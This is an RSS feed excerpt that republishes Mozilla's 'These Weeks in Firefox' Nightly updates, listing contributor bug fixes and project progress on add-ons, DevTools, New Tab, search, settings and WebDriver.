<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
